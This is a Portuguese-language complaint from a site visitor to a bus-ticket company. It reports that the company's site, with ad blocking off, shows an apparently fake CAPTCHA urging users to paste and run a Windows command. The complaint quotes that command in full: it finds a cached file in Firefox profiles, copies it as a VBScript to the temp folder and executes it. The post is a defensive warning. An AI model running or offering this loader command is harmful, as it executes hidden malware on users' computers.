Site me pede para executar comando suspeito no Windows

Ao tentar acessar o site de vocês para comprar uma passagem, identifiquei um comportamento bastante preocupante.

Com o AdBlock ativado, o botão de login direciona normalmente para:

https://passagens.viajesantacruz.com.br/login

Porém, ao desativar o AdBlock, a página apresenta um CAPTCHA aparentemente falso e orienta o usuário a executar uma sequência de comandos no Windows (Win + R, Ctrl + V e Enter).

O comando fornecido pela página é:

`cmd /c for /r "%LOCALAPPDATA%'Mozilla'Firefox'Profiles" %f in (f_*) do @if %~zf==22582 copy "%f" %TEMP%'t.vbs >nul 2 >nulwscript %TEMP%'t.vbs`

Esse comando aparentemente procura um arquivo específico dentro dos perfis do Firefox, copia o arquivo para a pasta temporária e o executa como VBScript. Trata-se de um comportamento extremamente suspeito e que pode colocar os usuários em risco.

Felizmente, não executei o comando. Apenas acessei a página e identifiquei o problema.

Solicito que a empresa verifique com urgência se o site ou algum script de terceiros utilizado por ele foi comprometido e informe os usuários caso exista algum risco de segurança.